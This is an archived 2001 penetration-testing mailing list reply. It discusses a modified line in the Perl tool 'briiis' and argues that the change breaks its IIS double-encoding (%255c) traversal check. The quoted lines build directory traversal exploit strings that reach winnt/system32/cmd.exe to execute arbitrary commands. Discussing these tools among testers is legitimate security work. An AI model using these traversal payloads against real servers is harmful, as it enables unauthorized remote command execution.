Nicolas Gregoire writes:
> Here are the modifications I did to your toy :
> OLD LINE :
> $explstr="/..$opt_F..$opt_F..$opt_F..$opt_F..${opt_F}winnt/system32/cmd.exe?/c+$opt_c"
> if ($opt_c);
> NEW LINE :
> $explstr="/..$opt_F..$opt_F..$opt_F..$opt_F..$opt_F..$opt_F..$opt_F..$opt_F../winnt/system32/cmd.exe?/c+$opt_c"
> if ($opt_c);
Have Nicolas tested his change before mailing pen-test?
If you change Ian Vitek's briiis with the NEW LINE, the double encoding vulnerability testing (%255c)
will fail due to the last '../'.
Briiis is not a toy, it is a weapon. Use it to defend yourself, not attacking. ;-)
//Sigtrap
This archive was generated by hypermail 2b30 : Wed Jun 13 2001 - 22:35:59 PDT